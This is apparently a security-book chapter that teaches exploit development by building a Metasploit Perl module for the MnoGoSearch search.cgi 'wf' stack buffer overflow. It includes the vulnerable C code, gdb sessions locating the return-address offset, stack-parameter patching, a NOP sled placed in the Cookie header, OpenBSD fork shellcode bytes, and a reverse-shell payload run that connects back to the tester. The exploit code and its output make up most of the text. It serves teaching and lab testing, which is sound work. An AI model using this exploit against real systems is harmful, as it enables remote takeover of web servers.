5.4. Writing a Module for the MnoGoSearch Overflow
As mentioned earlier, buffer overflows have historically
been the most commonly found security vulnerability in software.
We''ve already seen an example that dealt with how
this can be exploited on the local level. Local
vulnerabilities require some kind of
access to a system. In Unix-like systems this is usually user-level
access. Then a local exploit would be used to elevate your privileges
from your current access level to that of a higher privilege account,
typically root. A remote vulnerability is more dangerous because it
allows an attacker to gain an initial level of access to a target
host or network via a network-based attack.
Remote vulnerabilities are what MSF was designed for. The payloads,
payload handlers, and socket classes are designed for use in writing
remote exploit modules. In this section we''ll use
these features to write a proof-of-concept exploit for a remotely
exploitable vulnerability in a CGI program.
CGI programs are executed by web servers and were originally designed
for dynamic data display. It is well known that a software system is
only as secure as its weakest link. A CGI program normally runs in
the context and access permissions of the web server that executed
it. Hence, an overflow in a CGI would allow an exploit to gain the
privilege level of the web server, normally the
"nobody" or
"www" users.
5.4.1. Setting Up the Bug
MnoGoSearch for Unix is an open source search engine
software project. The primary interface to search the backend
metadata is the C program
search.cgi. In August 2003, a stack-based buffer
overflow was discovered in version 3.1.20 of the CGI program when
handling an overly large value for the wf GET
parameter. By examining some of the affected code snippets from the
search.c source code file, we can study the
origin of the problem. In the interest of saving space,
we''ve removed the irrelevant lines and put in line
numbers for cross-referencing the original source code.
544 static int PrintOneTemplate(UDM_AGENT * Agent,UDM_DOCUMENT * Doc,char *
Target,char *s,int where,int ntempl){
...
902 if(!strncmp(s,"wf",2)){
903 sprintf(UDM_STREND(Target),"%s",wf?wf:");
904 s++;
905 }else
The UDM_STREND macro finds the end of the
stringin this case, Targetwhich is
one of the function''s parameters. Then the
wf bufferwhich comes directly from
user-controllable inputis appended to the end of the
Target buffer using the sprintf( )
nonbounds checking function. A
stack-based buffer overflow can occur when Target
is a static-size character buffer declared on the stack. Reviewing
the rest of the source code reveals an instance of the ideal
conditions for exploitation:
1125 static int PrintOption(UDM_AGENT * Agent,char * Target,int where,char * option){
1126 UDM_TAG tag;
1127 char *s;
1128 int len;
1129 char tmp[UDMSTRSIZ]=";
...
1142 PrintOneTemplate(Agent,NULL,tmp,option,where,0);
1143 UdmFreeTag(&tag);
1144 UdmParseTag(&tag,tmp);
The tmp static buffer is passed to the
PrintOneTemplate(
) function, which is known to be
vulnerable. The apparent effect is that the sprintf() call in PrintOneTemplate( ) will
overflow the tmp buffer in PrintOption().
Our next step in verification is to set up a server with the
vulnerable software running. For the vulnerable server
we''ll use OpenBSD 3.1 running the Apache web server
with the search.cgi program compiled and
installed in a CGI directory. We''ll use the
gdb debugger to examine the program from a shell
on the server.
To add a time delay that will allow us to find the process and attach
to it, we will modify the CGI code. Near the top of the
main( ) function in
search.c, after the variable
declarations, add one line: sleep(10);. This
will give us time to catch the program and attach to it with
gdb using a command line similar to this:
$gdb -q search.cgi `ps ax |grep search.cgi|grep -v grep|awk ''{ print $1 }''`
5.4.2. The Evolution of a Working Exploit Module
Once the test bed is set up, write an MSF
module to test the vulnerability. This building-block module will
slowly evolve to a final working exploit. The module should require
that the user supply the appropriate options, which will build an
HTTP request with an
overly large wf parameter, create a socket, and
then send the request:
package Msf::Exploit::mnogosearch_wf;
use strict;
use base "Msf::Exploit";
my $advanced = { };
my $info =
{
''Name'' => ''Mnogosearch wf test'',
''Version'' => ''$Revision: 1.2 $'',
''Arch'' => [ ''x86'' ],
''OS'' => [ ''bsd'' ],
''Priv'' => 0,
''UserOpts'' => {
''RHOST'' => [ 1, ''ADDR'', ''The target HTTP server address'' ],
''RPORT'' => [ 1, ''PORT'', ''The target HTTP server port'', 80],
''URI'' => [ 1, ''DATA'', ''The target CGI URI'', ''/cgi-bin/search.cgi'' ],
''SSL'' => [ 0, ''BOOL'', ''Use SSL'', 0 ]
},
''DefaultTarget'' => 0,
''Targets'' =>
[
# Name
[ ''OpenBSD/3.1'' ]
],
};
The appropriate metadata information, such as the target
operating system, target architecture, some user options, and the
target address, has been set. Because this is only a test harness
module, there is no need for targeting values.
sub new{
my $class = shift;
my $self;
$self = $class->SUPER::new( { ''Info''=>$info, ''Advanced''=>$advanced, }, @_);
return $self;
}
sub Exploit{
my $self = shift;
my $targetHost = $self->GetVar(''RHOST'');
my $targetPort = $self->GetVar(''RPORT'');
my $uri = $self->GetVar(''URI'');
A standard new( ) constructor is added so that MSF
can create an instance of our mnogosearch_wf
class. The Exploit( ) method is overridden for the
specific exploit, and local variables have been set based on the
options the user supplied at runtime.
my $request = "GET $uri?q=abc&wf=" .
Pex::Text::PatternCreate(6000) .
" HTTP/1.0\r\n\r\n";
my $s = Msf::Socket::Tcp->new(
''PeerAddr'' => $targetHost,
''PeerPort'' => $targetPort,
''SSL'' => $self->GetVar(''SSL''),
);
if ($s->IsError) {
$self->PrintError;
return;
}
$s->Send($request);
} 1;#standard Perl module ending
Finally, build the request using PatternCreate()
to generate a trace buffer, initiate a TCP socket using the supplied
user options, and send the request to the web server.
We''ll save this module as
mnogosearch_wf.pm and place it in the
~/.msf/exploits/ directory. Using
msfconsole, select the
mnogosearch_wf exploit, set the appropriate
options to point to the target server, and use the
exploit command to send the request.
After running the module, use
gdb to attach to the
search.cgi process. Set a breakpoint on the
vulnerable function and continue to step through it until it
processes the wf buffer. This happens on the
nineteenth call to the function, so examine what happens at that
point:
anomaly$ gdb -q search.cgi `ps ax|grep search.cgi|grep -v grep|awk ''{ print $1 }''`
...
(gdb) break PrintOption
Breakpoint 1 at 0x5250: file search.c, line 1125.
(gdb) continue
...
(gdb) continue 18
Will ignore next 17 crossings of breakpoint 1. Continuing.
Breakpoint 1, PrintOption (Agent=0x4f000, Target=0x288b5 ", where=100,
option=0x86a80 "<OPTION VALUE=\"222210\" SELECTED=\"$wf\">all sections\n") at search.c:1125
1125 static int PrintOption(UDM_AGENT * Agent,char * Target,int where,char * option){
(gdb) info frame
...
Saved registers:
ebx at 0xdfbf6a08, ebp at 0xdfbf7e50, esi at 0xdfbf6a0c, edi at 0xdfbf6a10, eip at 0xdfbf7e54
(gdb) x/12x &tag
0xdfbf7e2c: 0x00000000 0x00000000 0x74206f4e 0x656c7469
0xdfbf7e3c: 0x00000000 0x400914d3 0x00000480 0x00028430
0xdfbf7e4c: 0x00086a80 0xdfbf7e90 0x0000579f 0x0004f000
(gdb) x/x 0xdfbf7e54
0xdfbf7e54: 0x0000579f
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x53e2 in PrintOption (Agent=0x47307047, Target=0x70473170 <
Error reading address 0x70473170: Invalid argument>,
where=862996274, option=0x47347047 <
Error reading address 0x47347047: Invalid argument>) at search.c:1154
1154 sprintf(UDM_STREND(Target),"<OPTION VALUE=\"%s\"%s>",tag.value,
(gdb) x/16x 0xdfbf7e2c #Examining memory of from "tag" through "Target"
0xdfbf7e2c: 0x00087930 0x00000000 0x00000000 0x00000000
0xdfbf7e3c: 0x00087940 0x00084000 0x00000000 0x00000000
0xdfbf7e4c: 0x00000000 0x6f47376f 0x396f4738 0x47307047
0xdfbf7e5c: 0x70473170 0x33704732 0x47347047 0x70473570
(gdb) x/x 0xdfbf7e5c #The Target Parameter which caused the SIGSEGV
0xdfbf7e5c: 0x70473170
(gdb) x/x 0xdfbf7e5 4#The new sEIP value
0xdfbf7e54: 0x396f4738
Examining memory around the tag variable shows the
state of the stack frame before the call to
PrintOneTemplate() and before the overflow gets
triggered. The info frame command gives user
information regarding registers saved on the stack, including the
all-important EIP register.
Examine the memory location to track how this important location is
affected. After continuing past the overflow trigger point, the
program receives a segmentation fault signal, but not from an invalid
EIP, as we might expect. As it turns out, the sprintf() function on line 1,154 (which comes
after our overflow but before the function return) needs a parameter
that points to a mapped memory location to perform its operations.
We''ll have to keep this in mind as the overflow is
examined in more detail.
Even though the segmentation fault was not a direct result of an
invalid EIP, the final x/x command shows the sEIP
has indeed been overwritten. You can use the
patternOffset.pl MSF tool to find the
offset to sEIP.
Using the overwritten sEIP of 0x396f4738, the tool
shows the offset to overwrite sEIP is 5126.
Using this new information, modify exploit code to get through the
function and reach the return. The strategy will be to leave the
Target parameter unchanged so that the
sprintf( ) succeeds. The request now becomes:
my $request = "GET $uri?q=abc&wf=" .
Pex::Text::PatternCreate(5126) .
"1234". #overwritten sEIP
" HTTP/1.0\r\n\r\n";
With this modification, again run the exploit and trace the process:
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x53e2 in PrintOption (Agent=0x6c613e22, Target=0x6573206c <Error reading
address 0x6573206c: Invalid argument>,
where=1869182051, option=0xa736e <Error reading address 0xa736e:
Invalid argument>) at search.c:1154
1154 sprintf(UDM_STREND(Target),"<OPTION VALUE=\"%s\"%s>",tag.value,
(gdb) x/x 0xdfbf83c8
0xdfbf83c8: 0x34333231 #the sEIP appears to have been overwritten as indented
(gdb) x/s Target
0x6573206c: Error accessing memory address 0x6573206c: Invalid argument.
(gdb) x/s &Target
0xdfbf83d0: "l sections\n"
It seems the Target parameter is being overwritten
by a string we didn''t specify. Examining the source
code reveals that it is being appended in PrintOneTemplate(). This presents a common problem in exploit development:
how to reach the function return if a call within that function
crashes as a result of modifying other local variables during our
overflow attempt. The solution to this common problem is memory
patching. If sprintf( ) needs
Target to be a valid pointer, give it what it
needs to work. This same type of problem also occurs on line 1156, as
was noticed on the first test run. Because of how the variables and
parameters are ordered on the stack, it is necessary to patch all
function parameters for a reliable exploit.
Examining the mapped memory, we look for a range that is mapped so
that we can point our parameters there. Any arbitrary valid memory
location that can be written to without a segmentation fault will do,
so choose one, modify the exploit''s request, and
trace again:
my $ptr = 0xdfbf6f6f;
my $request = "GET $uri?q=abc&wf=" .
Pex::Text::PatternCreate(5126) .
"1234" . #seip
$ptr x2 . #(Agent, Target,
pack("V",0x01020304) . #where,
$ptr . #option)
" HTTP/1.0\r\n\r\n";
Back to the debugger on the server...
Saved registers:
ebx at 0xdfbf70ac, ebp at 0xdfbf84f4, esi at 0xdfbf70b0, edi at 0xdfbf70b4, eip at 0xdfbf84f8
(gdb) x/16x &tag
0xdfbf84d0: 0x00086930 0x00000000 0x00000000 0x00000000
0xdfbf84e0: 0x00086940 0x00084000 0x00000000 0x00000000
0xdfbf84f0: 0x00000000 0x6f47376f 0x34333231 0xdfbf6f6f
0xdfbf8500: 0xdfbf6f6f 0x01020304 0xdfbf6f6f 0x6c613e22
(gdb) x/x 0xdfbf84f8
0xdfbf84f8: 0x34333231
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ( )
(gdb) info registers eip
eip 0x34333231 0x34333231
And that is what we''re looking for: a segmentation
fault on an EIP that was explicitly controlled. At this point the
offset to overwrite sEIP has been reached, and some simple memory
patching was done to get the function to return to a specified EIP
(in this case, the dummy value 1234 was used). The
final step to complete our exploit is to place the payload somewhere
in memory and to use a memory location in a NOP sled to reach the
shellcode. It should be noted that UdmParseTag( )
modifies the tmp buffer after the overflow point,
so you shouldn''t use that. A better option is to use
the environment variables that get passed to the CGI because their
location is fairly consistent. By setting the HTTP cookie header to a
large value and doing another trace, you can locate the
HTTP_COOKIE environment variable. On
this system HTTP_COOKIE started at
0xdfbfa28d, so we''ll use a large
NOP sled of about 4KB and find a return
address to hit it. Any return value that falls within the range will
work. In this case, 0xdfbfadcd was chosen as the
return address to overwrite the sEIP and to take control of process
execution flow.
With this new information the Exploit( ) method
should be modified appropriately. Also, add a target to the exploit
so that a user can choose the memory patch pointer and return
address:
...
''Targets'' =>
[
# Name Ret Patch pointer
[ ''OpenBSD/3.1'', 0xdfbfadcd, 0xdfbf6f6f ]
],
...
sub Exploit
{
...
my $targetIdx = $self->GetVar(''TARGET'');
my $payload = $self->GetVar(''EncodedPayload'');
my $rp = $payload->RawPayload;
my $target = $self->Targets->[$targetIdx];
my $ret = $target->[1];
my $ptr = pack("V",$target->[2]);
$self->PrintLine(''[*] Trying exploit target '' . $target->[0]);
...
#we''ll change the end of the request to add a cookie header with our shellcode
" HTTP/1.0\r\n" .
"Cookie: " . "\x90"x4000 . $rp . "\r\n\r\n";
Now test it out in msfconsole using the
bsdx86_reverse payload:
msf mnogosearch_wf(bsdx86_reverse) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ------------- ------------------------------
optional SSL 0 Use SSL
required RPORT 80 The target HTTP server port
required URI /cgi-bin/search.cgi The target CGI URI
required RHOST 192.168.2.142 The target HTTP server address
Payload: Name Default Description
-------- ------ ------------- -----------------------------------
required LPORT 9999 Local port to receive connection
required LHOST 192.168.2.132 Local address to receive connection
Target: OpenBSD/3.1
msf mnogosearch_wf(bsdx86_reverse) > exploit
[*] Starting Reverse Handler.
[*] Trying exploit target OpenBSD/3.1
[*] Got connection from 192.168.2.142:17664
msf mnogosearch_wf(bsdx86_reverse) >
It appears to have worked, but the connection dropped as soon as it
was received. Sniffing the traffic on the wire reveals that the
shellcode was executing and we did in fact get a connection back, but
it seems the connection was torn down and the process was killed. To
get to the root of this problem, let''s think about
the way CGIs usually work: the web server spawns the CGI process
using fork( ), then waits for a timeout, at which point
it kills the child process. To avoid this, we spawn a new process and
split from the CGI process using the fork( )
system call before our shellcode executes. Here''s
one way we can do this for OpenBSD:
xorl %eax,%eax
movb $0x2,%al
pushl %eax
int $0x80
add $0x4,%esp
test %edx,%edx
je $0x0d ;original process ends
You should prepend the opcodes for this assembly routine to the
payload by overriding the PayloadPrepend() method of the
Msf::Exploit class. Now, as the module executes,
MSF will automatically call this method and prepend the forking code
before it encodes the shellcode. To support variable encoders and NOP
generators, change the HTTP request to use an MSF-generated full
payload that includes a NOP sled, decoding stub, and encoded
shellcode. Now, everything should come together, and as you can see
in Figure 5-6, our work pays off with a fully
working remote exploit:
Figure 5-6. A sample run of the completed working module
sub PayloadPrepend{
my $self = shift;
return "\x31\xc0\xb0\x02\x50\xcd\x80\x83\xc4\x04\x85\xd2\x74\x0d";
}
Exploit
{
my $payload = $self->GetVar(''EncodedPayload'');
my $fullpayload = $payload->Payload;
...
#change the end of request to use a full payload now
"Cookie: " . $fullpayload . "\r\n" .
"\r\n\r\n");
}